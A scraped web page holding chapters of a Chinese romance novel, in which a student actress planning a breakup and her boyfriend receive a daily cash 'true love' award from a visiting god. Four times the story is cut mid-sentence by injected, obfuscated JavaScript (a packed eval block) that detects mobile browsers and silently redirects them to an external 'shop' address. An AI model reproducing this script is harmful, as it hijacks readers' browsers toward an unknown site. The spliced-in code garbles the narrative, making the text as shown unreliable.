“不不,我真不知道。我本来想着要找谁打听,后来一想,我妈不是校友嘛,她可能认识人,我就和她说:‘昨天你见那个季桃,学校演出有猫腻,要换她。’我妈听了说她问问,一问就问出来了。” “是你妈妈给了赞助吧,我该怎么谢她?”季桃又感激又为难。这个人情太大了,她还不起。 “不用谢不用谢。我妈没出钱,一分都没出。她正好认识赞助那个人,跟人家提了一嘴,说见过你,你更适合演。真的,我妈对你印象特别好,她说你一看就是聪明上进的姑娘,说我配不上你。”窦意鸣嘿嘿地笑,“对了,我找到了《日出》,看了几页,别说,陈白露那个气质像你……” 一天后,窦意鸣又来电,季桃接起来。 窦意鸣问她演出时间,懊恼说:“真是不巧,我那天刚好有事,不然肯定给你捧场。哎,我订几束花,让人给你送去。” “别别,你帮了这么大的忙,就是最大的捧场,别再麻烦了。” “行,行。你好好演。”窦意鸣又说,“季桃,我是给你说个别的事儿,我妈想让我出国再去念书。” “这是好事啊,去哪里?” “无非就是欧洲、澳洲、北美那些地方,哪里我都不想去,哪儿都没有国内好玩。”窦意鸣哀叹说,“我又不是个读书的料,本科念完就不错了,读什么硕士?别人都是开几个酒吧、饭店,当老板,我这么大个人了,还上学,说出去招笑。但是你不一样——”他忽地一转,“你是高材生,不念书可惜了。怎么样,你和我一起去?我就成了给老——给女朋友当陪读,多有面子。” 季桃并不生气,只是有点儿好笑:“你找我是为了给你充面子?” “我要是光为这个,也能找到别人。那个袁楚欣,她不是没演成嘛,嫌丢了脸,不想在这儿上了,非要我哥们儿带她留学,我哥们儿不愿意,还闹分手。分呗——” “那正好,你就找个愿意去的。”季桃打断。 “不是不是!别人我看不上。”窦意鸣着了急,“我确实是为了我,但是对你也好呀,你真的应该再上几年学,那个破班有什么好上?你想去哪儿?美国?欧洲?澳大利亚?你随便挑……” 季桃心中一动。澳大利亚,妈妈在那儿。“我想去澳大利亚。”她脱口而出。 “好啊,Australia,咱们来了。”窦意鸣发出怪笑。 季桃醒过神:“我开玩笑的。” “不急不急,你先上着班,再慢慢考虑。也不是明天就去,还早呢,好好准备一下,肯定能赶上春季入学……”窦意鸣絮絮叨叨地说。 . 季桃把分手时间定在了周末,演出结束。 周五下午,学校礼堂座无虚席。演出宣传做得挺到位,全校几乎每个师生都听说了,而且,只要没有紧要事,大家都想来看一看。不过一开始,观众们还是凑热闹的心态,却在不知不觉中,渐渐看了进去。 演员们表现不错,尤其是季桃。可能只有她一人知道,其实她心中已不复当初排练时的激情。因为那个小小风波,她对演戏的期待全部消失了,对她而言,现在只是完成任务。 她演得依然很好,忘我,也忘了观众,念台词充满感情,但她的感情并非出自对戏剧的迷恋和身为演员的自觉,而是因为她知道邹巡坐在下面,正看着她。 邹巡没坐第一排,前两排是给学校领导预备的,不过,吴老师关照了季桃两张第三排的票。 知道冯女士不会感兴趣,但出于礼貌,季桃特意向窦意鸣要来号码,打电话感谢她,问她肯不肯赏光来看演出。 冯女士非常爽朗地笑:“我没料到有那种事,听窦意鸣讲才知道,哎呀,现在学校也是。——你别听窦意鸣瞎说,我没帮什么忙,是你演得更好,大家都看得见。——周五我一定去,谢谢你问我,我有座位。你让你男朋友去看吧。” 于是,邹巡和他同事小顾坐在了第三排。站在舞台当中,季桃也能感觉到邹巡的目光始终落在她身上,她对着台上的方达生说话,却好像是说给邹巡听。 可惜,编导把悲剧改成了团圆。且不论哪个结局更符合人物性格、时代背景,季桃真正喜欢的,不是这个现代女性陈白露,而是那个骄傲、脆弱、矛盾,向往自由却又陷于纸醉金迷无力自拔的陈白露。 陈白露。 最后一次排练后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924018|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,季桃轻轻念这个名字。 难道当真没有一条出路,假如陈白露意志坚定地选择了方达生,最后会如何? 剧作家只是抛出问题,一代一代的观众、读者要在心里去想自己的答案。 得仔细思索才行,答案不是那样明摆着。 那先问自己个简单、轻松的好了:季桃和邹巡,真的就全无可能? 她,季桃,年纪和陈白露差不多,但太幼稚,只有陈白露的软弱,却欠缺她看待世事的锋利、与人周旋的玲珑;他,邹巡,懂得多,不迂腐,但多少有点儿理想主义,这点和方达生像。 两人性格有什么不可调和之处吗?没有。他们不是很容易就在一起了吗,很开心地在一起。 而且,他们不是在旧社会,没人来压迫他们。 那为什么不能继续在一起,哪怕先试一试? 答案就在问题里——能问出这个问题,说明她没有铁了心要和邹巡在一起。 真的,季桃觉得自己还在期待一点别的,前方好像还有一件能使命运发生天翻地覆变化的事。她想,是不是指窦意鸣? 既然都试一试了,怎么不和窦意鸣试? 窦意鸣挺好的呀,有钱,人还老实。和他谈个恋爱,出国读个书,优哉游哉地考虑以后,有什么不好?甚至都能带窦意鸣去见妈妈。 季桃认为,她远比自己想得还要动心。 就是太对不起邹巡。不过,她就是这种人嘛,喜欢钱错了,愿意过舒服日子错了? 女生的胃口往往和相貌成正比,对美女来说,财富仅“中等”的男人显然不够。总之,一个漂亮女生,无论自己有没有钱,假使要结婚,总该嫁个富人或“更富”的人。不然,她的周围就会响起窃窃私语,就会出现纳罕、不值、惋惜或背地里幸灾乐祸。甭管社会的刻板印象如何造成这种偏见,也甭管季桃读了几年书,如何有了自己的思想,有心要打破种种“陈规陋习”,但她不自觉间,还是认可这一套。 邹巡当然能够理解。若一个人说出“和钱没关系”这种话,肯定是心里明白和钱有关系。怎么可能没关系?走到哪里,钱都是绕不过去的东西,甚至和感情同等重要。 他懂得,只不过,他比较乐观。 有时,她难免有点心事重重,邹巡总是说:“不用烦,放心,毕业后就都好了。咱们会有钱的。” 开玩笑吧,毕业才是烦恼的开始吧。有钱?就凭多出她几千块的工资? 当然,她懂得邹巡的真正意思:毕业了,两个人共同努力,日子会越过越好。她并非不愿和他一起奋斗,可是,她好像算不上踏踏实实的人,总是异想天开…… 邹巡现在爱她,等到过上柴米油盐、供房供车的日子,就会发现,她根本不是理想对象。 不想那么远,假如他研究生毕业,有个“大人物”看上他,要他做女婿,他犹不犹豫?——不如由她来做坏人吧。 现在分手,还能在彼此心中留下一个最美的影子。 5. 最后一晚 戏快演到尾声了,季桃感觉邹巡看得更加专注,那个喜欢Happyending的邹巡。 他会不会恨她?心里发誓要出人头地,让她悔之无及,痛哭流涕?挺好的,她愿意是那样,说不定那时他们还能上演破镜重圆的戏码,就给他那个机会。 对,这样想就不会难受了。 最后,季桃和“方达生”拉着手,眼睛亮晶晶的,面朝那个不知在何方、但无疑美好无比的“未来”。 或许是季桃的心事令她不由自主地怅惘,新编的几段略显假大空的台词被她一念,减了几分突兀;或许,同学们就是看个热闹,怎样演都行。 反正,响起一阵又一阵雷鸣般的掌声,掌声中,季桃感觉邹巡望着她。 可惜,她要让他失望了。 散戏后,季桃在后台听吴老师对大家说了几句祝贺、鼓励的话,又去把脸上的妆洗了洗,等到观众散干净了,才向外走。邹巡等着季桃,夕阳洒在他身上,季桃有点看不清他的脸,只想到一句歌词——“剪影的你轮廓太好看”。她走近邹巡身边。 这时,季桃又看见冯女士了,刚才,她坐在第一排稍微靠边的位子,这会儿,她和两位领导站在一起说话。季桃感到冯女士向她这边偏了偏头,于是,朝冯女士一笑,表达感激,冯女士回了微微一笑,又继续和人谈话。邹巡没留意这一小段,拿过季桃的双肩包挂在肩上,一手搂着她。 在舞台上的情绪还未消散,还控制着季桃,她觉得自己好像在梦里,在浮世之外,只有邹巡始终离她很近。 从学校到邹巡租的房子步行差不多要半个多小时,有时,他们会找单车骑,今天,季桃想走走路。 邹巡不惯和别人合住,没登记研究生宿舍,一早在校外租好了房子。 早些年,学校附近有个“城中村”,很多学生租住村民的自建房;后来,城中村被拆除改造,建起了三栋高高的安置楼,每户村民分到不止一套房子,多余的依然是租给在校学生、成人教育的、预备考研的…… 季桃庆幸邹巡没住那儿:安置房楼间距很小,像三根大桩子呈品字形凑在一起,季桃学建筑,很看不上这种丑陋的样式,何况,出出进进可能遇到认识的人,她更不喜欢。 那天下雨,他们叫了辆车,来到邹巡租住的某军工厂的家属院。小区院子很安静,雨点把石头做的棋桌和棋凳唰得亮亮的。收起伞,邹巡向她笑笑:“在五楼。” 楼道里也很安静,谁都没说话。到五楼时,季桃心跳加快许多,不仅因为爬楼,她还有点儿兴奋——爬过这五层昏暗的楼梯,好像既将到达一次小小冒险的终点。 邹巡打开门,转身又向她笑笑:“就是这里。” 屋子太干净了,季桃站在门口,低头瞅自己的鞋。“过来。”邹巡拉她。客厅、卧室、厨房、卫生间,她一间间看过去,恍恍惚惚的。 房间布置得亮眼、舒服,家具样式雅致,原木泛着柔和的光;电器则线条锋锐,是邹巡的风格。 看完,她坐在客厅沙发上,邹巡过来坐在她身边,手臂围住她。 她被吻得透不过气。邹巡把她抱到床上,放开她时,她大口呼吸。从敞开的半扇窗外,飘进清新的、青苔绿色的、雨丝的味道。 她身上疼——身体里有种辣辣的感觉,难怪人家说辣其实是一种痛感——可是听着窗外的雨声,又是快活的,快活得心都抽紧了,心抽紧着,有点儿疼。 邹巡的手臂坚强有力,靠近他,总是有股好闻的、雨丝般清新的味道。季桃心里一痛。 快到了,这次大概就是最后一回去他那儿。放在那里的她的物件,可以请他清理出来。 邹巡很会收拾屋子,房间里总是整整齐齐,又整齐得不枯燥,好像那种专门拍出来让人欣赏、一看就是室内装饰艺术家设计出的房间。 后来,加上了她的东西,东一件西一件,带着凌乱的气息,却是更好了。 假使季桃看过的所有漂亮室内家居画片全部变为实物,从里面挑选最舒服最朴素最适合他们两个的屋子,就是这间。 想着可以上画册的小屋,季桃脑中偏偏冒出这么一个问题:分手后,邹巡会继续在那儿住吗? 他是个男人,一个二十七八的成熟男人。他肯定伤心,但会若无其事去上班,在心里偷偷难受一阵后,也就忘了。有一天,他身边会出现另一个女生…… 不行。季桃脚步一顿。 “怎么了?”和她拉着手的邹巡转过脸。 “没事,走慢点。” 她希望邹巡日日夜夜念着她,至少,在他们共同住过的屋子里,他念着她,不会带别的女生去。 不过,那不是她能操心的事情。还得考虑正事:宿舍只能再住两周,要赶紧找房子,最好是离上班的地方近一些。 不觉已经到了楼下。突然听见邹巡问:“什么时候我带你去看看房子?” “什么房子?”季桃吓了一跳。 “咱们最好搬到一个离你公司近的地方,上班方便。” “噢。”季桃不知该说什么,含糊道,“过一段再说吧。” 邹巡凑到她耳边:“季桃,你知不知道,你真是又聪明,又傻气。” 季桃抬起头,傻乎乎看着他:“哪里傻气了?” 你才傻气呢,她在心里悄悄说。 “这还不傻?”邹巡搂紧她,“你把我也变傻了,我喜欢和你一起做些傻事。” “快上去吧,别傻站着喂蚊子了。我饿死了,你定好饭没有?” “当然。“ 吃过饭,邹巡把桌子清理好,垃圾丢出去。季桃打开ps5开始玩。 他们是把游戏投屏到卧室的墙上,等邹巡回来洗了澡,季桃说:“你帮我玩一会儿嘛,这个红衣人我老是打不过。” “好。”邹巡接过游戏。 季桃则去洗澡,洗完,细致地涂了身体乳,从毛巾架上取下刚才装在包里带来的裙子。 老房子的卫生间十分狭小,季桃洗完澡向来是随便套上睡衣,如果要出门,去卧室的大穿衣镜前换衣服。 今天不一样,邹巡在卧室呢,她不要在他面前换,她要先打扮整齐,到客厅,再漫不经心喊邹巡:“我不想玩游戏了,我想去学校里转转。” 最后一晚特别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924019|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重要,关乎她能不能成为邹巡心中最美最痛的记忆。她要邹巡不管多少年后想起她,还是能感到心里又涨又空的那种惆怅。 所以,要去校园,还要穿上这条裙子。 裙子是三年前买的,大二后的暑假。刚进大学,季桃便和舅舅说好,暑假都留在学校打工。那年,她的好友谭一伊邀她上家里玩,又推荐给她当地一个招聘驻唱的酒吧。给酒吧老板发去几段演唱视频,对方居然同意雇她,于是,季桃买好火车票,和谭一伊一起去了海滨城市Y城,白天四处游玩,傍晚就去酒吧唱歌。 那次,妈妈给她转了一小笔钱,要她给自己买件生日礼物,裙子就是出于这个目的,在Y城一家服装店买的。说是设计师款,不知真假,但衣服确实做得好,价钱不便宜,是当时季桃拥有的最贵的一件衣服。 二十岁生日那天,季桃穿着它在酒吧唱歌。回来后,她把裙子洗净收好,再没穿过,一是因为它确实不大适合校园,二是,不知为何,她总觉得再穿这裙子,要是一个很特别的场合。 如今就是那个场合。 卫生间的镜子只能照出头和肩膀,不过也不需要更多,季桃拿起梳子梳了梳头发。夏天里,她不喜欢吹干头发,过会儿它们自己就干了。湿漉漉的头发比平时更黑,季桃侧侧身,看发丝垂下去,和黑色的裙子融为一体;裙子下摆软软拍在小腿上,酥酥痒痒的。 三年前的衣服仍然非常合身:上半部分毫不花哨,光滑的丝缎面料有力地裹紧她的身体,两条细细的肩带与锁骨贴得严丝合缝,既不左右乱晃,也不勒肩膀;连衣裙的下摆则做得繁繁复复,绉纱不知重叠了多少层,却能像金鱼尾巴一样轻盈飘逸。 她要穿这袭战袍,和邹巡走在校园里,把他们曾经用脚量过的地方,再走一遍。 当邹巡将她揉在怀里,不知该把她怎么好时,这条缠绵如水、神秘如夜的裙子会如一层铠甲保护着她,让他找不到她的心。 季桃打开她最喜欢的一支口红,野玫瑰,轻轻涂抹。 抿了抿嘴唇,她拉开门,走进客厅。 沙发上坐着一个人——穿红色马球衫、三十来岁的陌生男人——笑眯眯望着季桃。 “你是谁呀?”季桃喊一声。房东?怎么连招呼都不打,悄没声就来了?邹巡人呢?她叫邹巡,嗓子软绵绵的,几乎没发出声响。 邹巡已经冲出来了,向沙发一瞧,把季桃挡在身后。 他同时瞥了一眼门窗,季桃跟着看过去。 门是合金板防盗门,指纹锁,假如开门后没有及时关好,还会响提示音——想起来了,邹巡说过锁是他另外换的,“全世界只有咱们两个能打开。”——邹巡特别注重安全问题;窗户中间固定部分是一整片很厚的玻璃,轻易砸不破那种,两边的小窗可以向外推开,在室内一侧安装了防盗纱网。 这当儿,门是好端端闭着,窗玻璃上连道缝都没有,两块纱网也完好无损。是其它窗户?所有窗上都装了防盗网,而且他们在五楼,从窗户爬上来的可能毕竟小一些。 季桃又去看门。和两秒前一样,枪灰色大门紧闭着。她想起密室一词,打了个颤。 6. 神明 “误会了,误会了。”那个人道歉似的满面堆笑,自言自语说,“是不是我这个模样不太合适。” 话音刚落,马球衫男人不见了,换成个穿长袖白衬衣的。季桃轻轻叫了一声,邹巡回身搂住她,“没事的。”他说。 从他怀里,季桃探出脑袋,颤颤抖抖朝白衬衫看一眼。仔细看,和刚才那个似乎是同一个人,但也不大好确定,——一个人怎么能这么快换了衣裳? “这样行了吗?”男人笑容可掬地问。 这是什么怪梦?快醒。季桃用力掐一把自己的胳膊,竟能感觉到疼痛。 身旁的邹巡和现实中的邹巡似乎没有两样,他从不大惊小怪,他还能冷静地与对方周旋:“要多少钱?” “不要钱,不要钱。”衬衫男摆着手抢过话,“恰好反了,我是来给二位提供一笔钱。” “我们不需要。”邹巡强硬道,“钱的事情待会儿再谈。你怎么拿到指纹的?” “指纹?用不着指纹。” “我是神明。”对方指指天上,平淡地介绍自己。 是个疯子,季桃把邹巡胳膊捏得更紧。 “你是问我从哪儿进来——”自称神明的人看看窗户又看看门,“这可不好说,总之,我想来,就进来了。” “你先走,再进来一回看看?”邹巡说。 对方瞬间消失了,季桃和邹巡飞快朝整个客厅看一圈,刚要说话,一个声音在沙发处说:“看这儿。” 四只眼睛转过去,一秒后,刚才那个人坐在了沙发上,还是原来的位置,还是穿白衬衫。 邹巡朝季桃看一眼,安抚说:“没事了,是神仙,不是坏人。” “请问有何贵干?”他转向神明,彬彬有礼地问。 “季桃,邹巡,恭喜你们二位。”扮作衬衫男的神明一本正经道,“你们二位获得了按日发放、每日一万元奖金的真爱奖,因为二位彼此真心相爱……” “你怎么知道?”季桃不由喊。说也奇怪,因为事情太匪夷所思,她的恐惧反而消失了。她红着脸又补一句,“你能知道我们心里想什么?” “你的意思是读心术?不,不,我们不知道凡人心里的想法,不需要知道。不过,”神明脸上竟然害羞般红了红,“我们确实对人类思想的某些方面有兴趣。不久前,我们开发出一套系统——具体的机制不便透露,总之我们认为,使用该系统可以检测出情侣的真心……” “拿我们做测试用户?”这次是邹巡插话。 “不不不,我们的系统已经测试得很完备了,差错率是——零。比方说……不不,我不能泄露通过检测的其他人是谁,总之,请相信,我们的判断绝无问题。当然,像二位这样真心相爱的恋人不多,但是也不算少,因此,可以说二位的确非常幸运,被选中获取奖励。” “随机挑选了我们?”邹巡又问。 “并非完全随机,除了真爱,还须满足一个条件:获取这笔钱对你们有益处。我们不希望发放的奖金多余,甚或有害——对凡人生活往坏的一方面影响,有违我们的规矩。” 等了一会儿,邹巡客气发问:“是否还需要我们配合做一些事情?” “不,不,不需要你们做任何事,所有的选择都由你们自己,完全像之前一样。没有回访,我们也不会再来打扰你们的生活。对了,要保密,不得告诉其他人,这个二位肯定可以做到。那么,二位同意接受奖金?” 神明说完,见无人开口,微笑着又说:“没有其它问题的话,片刻就能办好,请给我看看收取奖金的银行卡,可选二位任一位名下的卡片。” “就用你的吧?”邹巡看季桃。 “我的卡……”季桃心中一团乱麻,手心出了汗,捏在裙子上。她还在想神明不能读心的事,也就是说,他们不知道她正准备和邹巡分手?她疑疑惑惑看向衬衫男。 衬衫男依然把和煦的微笑同时投在她和邹巡两人身上,笑容光明磊落,没有一丝半毫冷嘲热讽、心照不宣的意思。“可以的,不限银行。即便这张卡不慎丢失,账户暂时冻结,在新办的卡上,依然可以收到奖金并补足账户冻结期间缺少的数目。” “奖金会发多久?”季桃不安地问。 “每一天,直到——” 季桃等着,他好像要说出“地老天荒”几个字。 “——你们不再相爱。”神明回答。 邹巡看向季桃,小心地说:“你愿不愿意,或者我们不接受?” “我……我想想,我去拿卡。”季桃走去里屋。 银行卡和支付软件绑定后,早就不用带在身边了,两人的卡都收在抽屉里。 季桃立在书桌前,脑子里乱糟糟的。从小她就知道,没有白捡的好事,可这回,馅饼实实在在是由“天上”掉下来的。只要答应,钱也有了,帅哥也有了,人财两得。但有得必有失,有正必有负……不不,这是顺应“天意”,能有什么坏处?不是说了吗,没有坏处。 可是,神明怎么会选中她和邹巡? 季桃想:神明的系统没检测出我想分手,大概那算不了一回事,是不是因为我还没来得及说,所以不算?对,神明说奖金对我们有益处,他是想帮我们挽救一下。不用分手,一天一万,一月就是十五万——别忘了,和邹巡两人平分。十五万,挺多了。——不是太多,窦意鸣一月挥霍掉的肯定不止这个数。 可是,除了账户余额,邹巡哪里不比窦意鸣强?何况,邹巡和我是真爱。——差一点就分手也是真爱? 那个时候,两人在宿舍楼下第一次见面…… 浓绿的树荫,三四点钟的太阳,明晃晃、懒洋洋的悠长下午。 面前立着清爽朴素的男孩,问她是不是方便带他在校园里转转。 “你想去哪儿?”季桃问。 “都行,你准备去自习?” “不是,我没事。”她当时真的忘了自己要去干什么。她在想,他怎么认出她的?是不是韩老师翻了旧照片出来,指着她说:“看,就这个挺漂亮的女生,季桃。”季桃感觉自己脸唰一下红了,赶紧低头假装思考,再仰起脸时,冲他问了句有史以来最傻的话:“你想不想去游泳?” 邹巡定定看着她,从眼睛里笑了。“好。”他说,“太好了,我正想去游泳。” “你等一下,我去拿东西。你……游泳馆有卖的。”季桃连泳裤两个字都不好意思说出口,更不好意思看他,听到他说了声“好”,她扭身跑回宿舍。 她一边急急忙忙装好泳帽泳镜,一边痛骂自己怎么会想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924020|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出游泳这个主意。 不过,季桃自信身姿优美,也看出邹巡深蓝T恤下肯定藏着腹肌,既然这样,穿泳衣对哪一位来说都不是件难为情的事,那怕什么?青春就是放肆,去呗,劈波斩浪。 他应该不至于误会她是想看他的腹肌吧? 虽然确实想看。虽然不是故意要看。虽然真的看见了。 学校游泳馆建得气派,标准的五十米八泳道泳池。刚放了暑假,学生已经走了大半,要么正忙着回家,游泳的人不多,但也不算少,每个泳道六七个人。 和他俩同泳道的发现邹巡泳姿专业,纷纷让开,让他展示了一段蝶泳。季桃坐在岸边,红着脸看。她想:怪不得游泳宣传册封面照片大多是蝶泳呢,真好看呀。季桃的眼睛有点儿不敢往邹巡身上放,怕放上去挪不开。 游完泳,好像一下子亲密了许多。肚子饿得很,季桃正要问他,邹巡扭头说:“想不想吃点东西去?” “你想吃什么?”她暗地里开心。 “我都行,你定。”邹巡说话简短,听着特别痛快。 季桃把他带到了学校附近的大排档。路面本来不窄,可是灯箱和露天摆放的桌椅占去二分之一多,两人只能在食客中小心穿行;带着孜然味的热火和烟气从两边夹击,季桃披散在背上、还微湿的头发马上就被吹干了。邹巡的短发当然早已干了,有时他走在前面,季桃从身后偷眼看,奇怪他怎能这样清清爽爽的,又得意有这么一个人在她旁边。 “帮我拿一下。”季桃把手里的泳衣袋子递给他,一抬手,将散乱的发丝在颈后系住。 “我拿着吧。”邹巡没还她,一手拎着两只袋子,一手插在裤兜。他那样子好像在海滩散步,穿着白底大花短袖,风把衣摆掀起一角,再落下……季桃一不留神就想远了,回过神,又想:这人穿不穿衣服,差别还挺大。 假如是平时有好感的男生,为顾及形象,季桃不会选大排档一起吃饭。可是,碰到邹巡,就像邀他来游泳,季桃猛然生出一种“豁出去了”的豪气。 “你能不能吃辣?”季桃问。 “能。”邹巡答。 于是进了一家烤鱼店,季桃点了份香辣烤鱼。伙计把长方形大盘端上桌,鱼身从汤中显出来,满满覆着辣椒和花椒。 一层红油像平滑不动的岩浆表面,把热汤封在下面,点着火后,岩浆上鼓起小小的包,轻微地一颤一颤。季桃拿筷子拨开红彤彤的辣椒,他们开始吃鱼。季桃又挑下面的配菜,西芹、贡菜、黄豆芽、竹笋片、豆腐皮,都是她喜欢的。 没吃几口,季桃发现邹巡其实不能吃辣。他被辣得眼眶都红了,额角渗出汗珠。 但他并不停止夹鱼,还是吃口米饭,吃块鱼。为此,季桃直想笑。 早说嘛,逞什么强,季桃心道。可是想到他为何逞强——没有细想,只是朝那个方向稍稍探个头——她的心被快乐填满了。 本来,她一是打算替邹巡省几块钱,二来也确实不想喝,说不要饮料,邹巡便没点。这时,她问:“你要不要喝点啤酒?” “你想不想喝?” 季桃说:“我不爱喝酒,我可以喝别的陪你。” “那我也不喝,你想喝什么?” “等一下。”季桃突然站起身。 7. 同意 季桃想起来附近有家奶茶店,味道挺正。男生好像大都不爱喝奶茶,也不知他喜欢什么口味。季桃稍一踌躇,干脆按自己的喜好点了两杯一样的。 点好后她才又想起来,因为是蜜桃味,奶盖也做成了淡粉色,他一个大男生,喝着这么一杯粉叽叽的饮料,好像怪怪的。 他不会把她当成那种傻乎乎的小女生吧,或者更糟,故意卖萌——他肯定不喜欢卖萌的小女生。 而且,她还穿着件粉色短袖——好在是很浅很浅、仿佛被晒白了的粉色,一点儿都不傻气。 反正来都来了,买都买了,季桃昂首挺胸,小心举着两朵云,向邹巡走过去。走到跟前时,她的脸到底红了,不顾他伸出的手,把杯子往桌上一蹾,饱含少女心事的云朵在透明杯盖下晃了晃。 邹巡低头看看奶茶,又抬眼看她。这会儿他不那样狼狈了,眼睛明亮、带着点笑意。 季桃急急忙忙坐下:“我要的是三分糖,正常冰。你尝尝,这家奶茶不错,香精味不重,就是乌龙茶和一点点水蜜桃味道。” 说完,她便吸了一口,嘴巴里是又凉又醇的茶香。 邹巡也吸了一口,“很好喝。”他说。 季桃得意地笑了。 鱼盘里咕嘟一响。这时油花荡开,沸汤一骨朵一骨朵往上冒,热气和香气在两人中间升腾。 季桃不知自己是不是多心,她觉得邹巡的目光在她胸前扫了一眼。倒不是说他有别的意思——要看的话,刚才穿泳衣时看得更清。她想,他好像是看她胸前几个深蓝的英文字母。他眼中的笑意变深了。 其中一个词是Love。 回想起来,一切早有预兆。 季桃的心咚咚跳,拉开抽屉。 回到客厅,第一眼先看到邹巡的侧脸,季桃一下子又感到那种要屏住呼吸的感觉。没选错。 邹巡微微低着脑袋,在他旁边,穿白衬衫的神明化身倒像个小参谋,那样子似乎正在透露什么幕后消息。两人声音都放得很低,邹巡的话完全听不见,衬衫男则不时摇一下头,嘴里隐约冒出几个词:“……不建议……再等等……她自己……顺其自然。” 然后,他恢复了爽朗的笑容和语调:“还有问题吗?” “没有了。”邹巡看向季桃。衬衫男亦同时转向她,说:“如果季桃小姐也没有疑问,你们说同意,就可以接受奖项了。” 季桃紧紧捏着手里的卡,卡边掐进掌心中。她去看邹巡。 邹巡走到她旁边,拉住她的手,用力一握。他们对视一眼,转头对衬衫男说:“同意。” 衬衫男眼睛向卡片一扫。那一眼根本不够把卡号看清的,但他说:“好,好了。明早7点整,请关注账号关联手机的短信通知。对了,我们处理得很妥当,这笔钱不会在任何地方留下痕迹,二位不必担心报税的问题。” “以后每日都是同样的时间到账。请注意,你们二人中,如果有任一位爱上了别人,或者在自愿情况下与他人发生了非常亲密的身体接触——明白我的意思吧——对你们的奖金发放会永久停止,即使你们之后后悔了,回头了,奖金也不能恢复。当然,我只是为把发放规则说明白。我相信,对于二位,绝不会出现那样的问题。”衬衫男略带奉承地说。 爱上别人或劈腿?季桃心中再次生出隐隐的不安。 邹巡就站在身旁,他的手紧紧握着她的手。季桃很快打消掉疑虑:没关系,邹巡绝对不可能。假若他们两人之间的感情变了,除非是她爱上别人,若她爱上另外某个人,对方未必会比邹巡更帅,那必定是有钱,那时候,一月三十万又算得了什么? “明天早上,请二位查收奖金。”神明说。他的形体先消失了,最后几个字不知是由哪里发出的,回荡在一整个房间中,“……祝你们幸福。” 季桃看着邹巡。 难以想象刚才屋子里另有一个人,而且,他离开不到一分钟,季桃已经完全记不起他的样子。那张脸可真不容易让人留下印象。 “是不是骗子,会变魔术的?”她问。 “我看不是,假如他能变这种魔术,早就出名了。他想骗什么?” “那……是真的,不是做梦?” “好像不是。”邹巡笑着说,“你希望是梦还是真的?” 当然希望是真的了。“刚才我去拿卡,他跟你说什么?” “是我问他。我问到底为什么把这个奖给我们?” “你觉得咱们不该得?”季桃紧张地问。 “当然不是。我是想他们怎么选中咱们两个,肯定还有更需要的人,钱嘛……”邹巡微微皱着眉。 看来他敏感的自尊又冒头了——靠神明得到的钱也是靠“别人”。不过,邹巡一定很快想到这是对两人真爱的奖励,眼中闪出无限欢愉,“他说选中的,就是最需要的人。咱们只管心安理得地接受就好。” “我听见他说多等等、顺其自然什么的?” “嗯,我问他以后有没有可能再看见他,或者其它神明?他说不大容易再见,因为他们不想过多打扰我们,这事还是顺其自然吧。” “哦。” “你想去哪儿?”邹巡问。 “什么去哪儿?”季桃一呆。 邹巡搂住她,在她腰侧轻轻摩挲。“穿这么漂亮的裙子,是不是想跳舞去?” 季桃看看裙子,又仰起脸看他。“不去了。” “不去了。”邹巡重复,低头吻她,手从脖子滑到肩、滑到后背、滑到腰,再向下,把裙摆提起来。 绷紧的身体渐渐松懈,只有五指还使劲捏着,长方形的卡片切进掌心,身体又骤然绷紧,季桃推开邹巡:“我怎么还是觉得像做梦一样。” 真是个梦吧,他的凝视里有海浪铺开,瞬间铺天盖地,把她一整个人都卷走了。 邹巡拿掉银行卡,扔到一边:“那就别醒,好好梦完它。” 如果是梦,大概是最好的一个梦。 季桃睁开眼睛,正遇上邹巡的眼睛。 “几点了?”她问。 邹巡转身,从床头柜拿起自己的手机看一眼,“七点零三分。”每次问时间,他都很精确。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924021|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >季桃坐起身,穿好衣服,这才从枕头边摸出手机,没去解锁,先看一眼邹巡。 邹巡也坐起来,“看看吧。”他的脑袋凑近。 季桃深吸一口气,拇指点上屏幕。 